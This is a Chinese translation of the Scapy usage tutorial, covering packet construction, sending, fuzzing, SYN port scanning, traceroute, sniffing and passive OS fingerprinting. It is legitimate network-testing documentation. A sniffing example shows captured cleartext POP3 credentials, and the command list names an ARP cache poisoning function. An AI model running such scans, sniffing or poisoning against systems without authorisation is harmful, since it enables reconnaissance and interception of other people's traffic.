使用方法
譯者:Larry
來源:Scapy中文使用文檔
原文:Usage
協(xié)議:CC BY-NC-SA 2.5
0x01 起航Scapy
Scapy的交互shell是運(yùn)行在一個(gè)終端會(huì)話當(dāng)中症革。因?yàn)樾枰猺oot權(quán)限才能發(fā)送數(shù)據(jù)包嗜傅,所以我們?cè)谶@里使用sudo
$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>
在Windows當(dāng)中娜扇,請(qǐng)打開命令提示符(cmd.exe
),并確保您擁有管理員權(quán)限:
C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>
如果您沒有安裝所有的可選包跌前,Scapy將會(huì)告訴你有些功能不可用:
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
雖然沒有安裝,但發(fā)送和接收數(shù)據(jù)包的基本功能仍能有效检吆。
0x02 互動(dòng)教程
本節(jié)將會(huì)告訴您一些Scapy的功能舒萎。讓我們按上文所述打開Scapy,親自嘗試些例子吧蹭沛。
第一步
讓我們來建立一個(gè)數(shù)據(jù)包試一試
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64
堆加層次(OSI參考模型)
/
操作符在兩層之間起到一個(gè)組合的作用臂寝。當(dāng)使用該操作符時(shí),下層可以根據(jù)其上層摊灭,使它的一個(gè)或多個(gè)默認(rèn)字段被重載咆贬。(您仍可以賦予您想要的值)一個(gè)字符串也可以被用作原料層(raw layer
)。
>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>
每一個(gè)數(shù)據(jù)包都可以被建立或分解(注意:在Python中_
(下劃線)是上一條語句執(zhí)行的結(jié)果):
>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 .
0A .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
我們看到一個(gè)分解的數(shù)據(jù)包將其所有的字段填充帚呼。那是因?yàn)槲艺J(rèn)為掏缎,附加有原始字符串的字段都有它自身的價(jià)值皱蹦。如果這太冗長(zhǎng),hide_defaults()
方法將會(huì)刪除具有默認(rèn)值的字段:
>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
讀取PCAP文件
你可以從PCAP文件中讀取數(shù)據(jù)包眷蜈,并將其寫入到一個(gè)PCAP文件中沪哺。
>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
圖形轉(zhuǎn)儲(chǔ)(PDF,PS)
如果您已經(jīng)安裝PyX酌儒,您可以做一個(gè)數(shù)據(jù)包的圖形PostScript/ PDF轉(zhuǎn)儲(chǔ)(見下面丑陋的PNG圖像辜妓,PostScript/PDF則具有更好的質(zhì)量...)
>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
命令 | 效果 |
---|---|
str(pkt) | 組裝數(shù)據(jù)包 |
hexdump(pkt) | 十六進(jìn)制轉(zhuǎn)儲(chǔ) |
ls(pkt) | 顯示出字段值的列表 |
pkt.summary() | 一行摘要 |
pkt.show() | 針對(duì)數(shù)據(jù)包的展開試圖 |
pkt.show2() | 顯示聚合的數(shù)據(jù)包(例如,計(jì)算好了校驗(yàn)和) |
pkt.sprintf() | 用數(shù)據(jù)包字段填充格式字符串 |
pkt.decode_payload_as() | 改變payload的decode方式 |
pkt.psdump() | 繪制一個(gè)解釋說明的PostScript圖表 |
pkt.pdfdump() | 繪制一個(gè)解釋說明的PDF |
pkt.command() | 返回可以生成數(shù)據(jù)包的Scapy命令 |
生成一組數(shù)據(jù)包
目前我們只是生成一個(gè)數(shù)據(jù)包忌怎。讓我們看看如何輕易地定制一組數(shù)據(jù)包籍滴。整個(gè)數(shù)據(jù)包的每一個(gè)字段(甚至是網(wǎng)絡(luò)層次)都可以是一組。在這里隱含地定義了一組數(shù)據(jù)包的概念榴啸,意即是使用所有區(qū)域之間的笛卡爾乘積來生成的一組數(shù)據(jù)包孽惰。
>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
某些操作(如修改一個(gè)數(shù)據(jù)包中的字符串)無法對(duì)于一組數(shù)據(jù)包使用。在這些情況下鸥印,如果您忘記展開您的數(shù)據(jù)包集合勋功,只有您忘記生成的列表中的第一個(gè)元素會(huì)被用于組裝數(shù)據(jù)包。
命令 | 效果 |
---|---|
summary() | 顯示一個(gè)關(guān)于每個(gè)數(shù)據(jù)包的摘要列表 |
nsummary() | 同上辅甥,但規(guī)定了數(shù)據(jù)包數(shù)量 |
conversations() | 顯示一個(gè)會(huì)話圖表 |
show() | 顯示首選表示(通常用nsummary()) |
filter() | 返回一個(gè)lambda過濾后的數(shù)據(jù)包列表 |
hexdump() | 返回所有數(shù)據(jù)包的一個(gè)hexdump |
hexraw() | 返回所以數(shù)據(jù)包Raw layer的hexdump |
padding() | 返回一個(gè)帶填充的數(shù)據(jù)包的hexdump |
nzpadding() | 返回一個(gè)具有非零填充的數(shù)據(jù)包的hexdump |
plot() | 規(guī)劃一個(gè)應(yīng)用到數(shù)據(jù)包列表的lambda函數(shù) |
make table() | 根據(jù)lambda函數(shù)來顯示表格 |
發(fā)送數(shù)據(jù)包
現(xiàn)在我們知道了如何處理數(shù)據(jù)包酝润。讓我們來看看如何發(fā)送它們。send()
函數(shù)將會(huì)在第3層發(fā)送數(shù)據(jù)包璃弄。也就是說它會(huì)為你處理路由和第2層的數(shù)據(jù)要销。sendp()
函數(shù)將會(huì)工作在第2層。選擇合適的接口和正確的鏈路層協(xié)議都取決于你夏块。
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.
Fuzzing
fuzz()
函數(shù)可以通過一個(gè)具有隨機(jī)值疏咐、數(shù)據(jù)類型合適的對(duì)象,來改變?nèi)魏文J(rèn)值脐供,但該值不能是被計(jì)算的(像校驗(yàn)和那樣)浑塞。這使得可以快速建立循環(huán)模糊化測(cè)試模板。在下面的例子中政己,IP層是正常的酌壕,UDP層和NTP層被fuzz。UDP的校驗(yàn)和是正確的歇由,UDP的目的端口被NTP重載為123卵牍,而且NTP的版本被更變?yōu)?.其他所有的端口將被隨機(jī)分組:
>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.
發(fā)送和接收數(shù)據(jù)包(sr
)
現(xiàn)在讓我們做一些有趣的事情。sr()
函數(shù)是用來發(fā)送數(shù)據(jù)包和接收應(yīng)答沦泌。該函數(shù)返回一對(duì)數(shù)據(jù)包及其應(yīng)答糊昙,還有無應(yīng)答的數(shù)據(jù)包。sr1()
函數(shù)是一種變體谢谦,用來返回一個(gè)應(yīng)答數(shù)據(jù)包释牺。發(fā)送的數(shù)據(jù)包必須是第3層報(bào)文(IP萝衩,ARP等)。srp()
則是使用第2層報(bào)文(以太網(wǎng)没咙,802.3等)猩谊。
>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
|<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 39
id = 15489
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x51dd
src = 66.35.250.151
dst = 192.168.5.21
options = ''
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0xee45
id = 0x0
seq = 0x0
---[ Raw ]---
load = 'XXXXXXXXXXX'
---[ Padding ]---
load = '\x00\x00\x00\x00'
DNS查詢(rd
= recursion desired)。主機(jī)192.168.5.1是我的DNS服務(wù)器祭刚。注意從我Linksys來的非空填充具有Etherleak缺陷:
>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
|<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
發(fā)送和接收函數(shù)族是scapy中的核心部分预柒。它們返回一對(duì)兩個(gè)列表。第一個(gè)就是發(fā)送的數(shù)據(jù)包及其應(yīng)答組成的列表袁梗,第二個(gè)是無應(yīng)答數(shù)據(jù)包組成的列表。為了更好地呈現(xiàn)它們憔古,它們被封裝成一個(gè)對(duì)象遮怜,并且提供了一些便于操作的方法:
>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
如果對(duì)于應(yīng)答數(shù)據(jù)包有速度限制,你可以通過inter
參數(shù)來設(shè)置兩個(gè)數(shù)據(jù)包之間等待的時(shí)間間隔鸿市。如果有些數(shù)據(jù)包丟失了锯梁,或者設(shè)置時(shí)間間隔不足以滿足要求,你可以重新發(fā)送所有無應(yīng)答數(shù)據(jù)包焰情。你可以簡(jiǎn)單地對(duì)無應(yīng)答數(shù)據(jù)包列表再調(diào)用一遍函數(shù)陌凳,或者去設(shè)置retry
參數(shù)。如果retry設(shè)置為3内舟,scapy會(huì)對(duì)無應(yīng)答的數(shù)據(jù)包重復(fù)發(fā)送三次合敦。如果retry設(shè)為-3,scapy則會(huì)一直發(fā)送無應(yīng)答的數(shù)據(jù)包验游,直到充岛。timeout
參數(shù)設(shè)置在最后一個(gè)數(shù)據(jù)包發(fā)出去之后的等待時(shí)間:
SYN Scans
在Scapy提示符中執(zhí)行一下命令,可以對(duì)經(jīng)典的SYN Scan初始化:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
以上向Google的80端口發(fā)送了一個(gè)SYN數(shù)據(jù)包耕蝉,會(huì)在接收到一個(gè)應(yīng)答后退出:
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding load='V\xf7' |>>>
從以上的輸出中可以看出崔梗,Google返回了一個(gè)SA(SYN-ACK)標(biāo)志位,表示80端口是open的垒在。
使用其他標(biāo)志位掃描一下系統(tǒng)的440到443端口:
>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
或者
>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
可以對(duì)收集的數(shù)據(jù)包進(jìn)行摘要(summary)蒜魄,來快速地瀏覽響應(yīng):
>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
以上顯示了我們?cè)趻呙柽^程中的請(qǐng)求應(yīng)答對(duì)。我們也可以用一個(gè)循環(huán)只顯示我們感興趣的信息:
>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440 RA
441 RA
442 RA
https SA
可以使用make_table()
函數(shù)建立一個(gè)表格场躯,更好地顯示多個(gè)目標(biāo)信息:
>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... lambda(s,r): (s.dst, s.dport,
... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
66.35.250.150 192.168.1.1 216.109.112.135
22 66.35.250.150 - dest-unreach RA -
80 SA RA SA
443 SA SA SA
在以上的例子中谈为,如果接收到作為響應(yīng)的ICMP數(shù)據(jù)包而不是預(yù)期的TCP數(shù)據(jù)包,就會(huì)打印出ICMP差錯(cuò)類型(error type)推盛。
對(duì)于更大型的掃描峦阁,我們可能對(duì)某個(gè)響應(yīng)感興趣,下面的例子就只顯示設(shè)置了"SA"標(biāo)志位的數(shù)據(jù)包:
>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
如果我們想對(duì)響應(yīng)進(jìn)行專業(yè)分析耘成,我們可以使用使用以下的命令顯示哪些端口是open的:
>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open
對(duì)于更大型的掃描榔昔,我們可以建立一個(gè)端口開放表:
>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... (s.dst, s.dport, "X"))
66.35.250.150 192.168.1.1 216.109.112.135
80 X - X
443 X X X
如果以上的方法還不夠驹闰,Scapy還包含一個(gè)report_ports()
函數(shù),該函數(shù)不僅可以自動(dòng)化SYN scan撒会,而且還會(huì)對(duì)收集的結(jié)果以LaTeX形式輸出:
>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
TCP traceroute
TCP路由追蹤:
>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1
注意:TCP路由跟蹤和其他高級(jí)函數(shù)早已被構(gòu)造好了:
>>> lsc()
sr : Send and receive packets at layer 3
sr1 : Send packets at layer 3 and return only the first answer
srp : Send and receive packets at layer 2
srp1 : Send and receive packets at layer 2 and return only the first answer
srloop : Send a packet at layer 3 in loop and print the answer each time
srploop : Send a packet at layer 2 in loop and print the answer each time
sniff : Sniff packets
p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
send : Send packets at layer 3
sendp : Send packets at layer 2
traceroute : Instant TCP traceroute
arping : Send ARP who-has requests to determine which hosts are up
ls : List available layers, or infos on a given layer
lsc : List user commands
queso : Queso OS fingerprinting
nmap_fp : nmap fingerprinting
report_ports : portscan a target and output a LaTeX table
dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del : Send a DNS delete message to a nameserver for "name"
[...]
配置高級(jí)sockets
發(fā)送和接收數(shù)據(jù)包的過程是相當(dāng)復(fù)雜的嘹朗。
Sniffing
我們可以簡(jiǎn)單地捕獲數(shù)據(jù)包,或者是克隆tcpdump或tethereal的功能诵肛。如果沒有指定interface屹培,則會(huì) 在所有的interface上進(jìn)行嗅探:
>>> sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> a=_
>>> a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>> a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst = 00:ae:f3:52:aa:d1
src = 00:02:15:37:a2:44
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 0
flags = DF
frag = 0L
ttl = 64
proto = ICMP
chksum = 0x3831
src = 192.168.5.21
dst = 66.35.250.151
options = ''
---[ ICMP ]---
type = echo-request
code = 0
chksum = 0x89d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst = 00:02:15:37:a2:44
src = 00:ae:f3:52:aa:d1
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 2070
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x861b
src = 66.35.250.151
dst = 192.168.5.21
options = ''
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0x91d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
load = '\n_\x00\x0b'
對(duì)于控制輸出信息,我們可以使用sprintf()
函數(shù):
>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99
64.233.167.99 -> 192.168.1.100
192.168.1.100 -> 64.233.167.99
192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
我們可以嗅探并進(jìn)行被動(dòng)操作系統(tǒng)指紋識(shí)別:
>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])
猜測(cè)操作系統(tǒng)版本前的數(shù)字為猜測(cè)的精確度怔檩。
Filters
演示一下bpf過濾器和sprintf()方法:
>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110 S :
213.228.0.14:110 -> 192.168.8.10:47226 SA :
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr>
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto
213.228.0.14:110 -> 192.168.8.10:47226 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata
213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 FA :
192.168.8.10:47226 -> 213.228.0.14:110 FA :
213.228.0.14:110 -> 192.168.8.10:47226 A :
在循環(huán)中接收和發(fā)送
這兒有一個(gè)例子來實(shí)現(xiàn)類似(h)ping的功能:你一直發(fā)送同樣的數(shù)據(jù)包集合來觀察是否發(fā)生變化:
>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
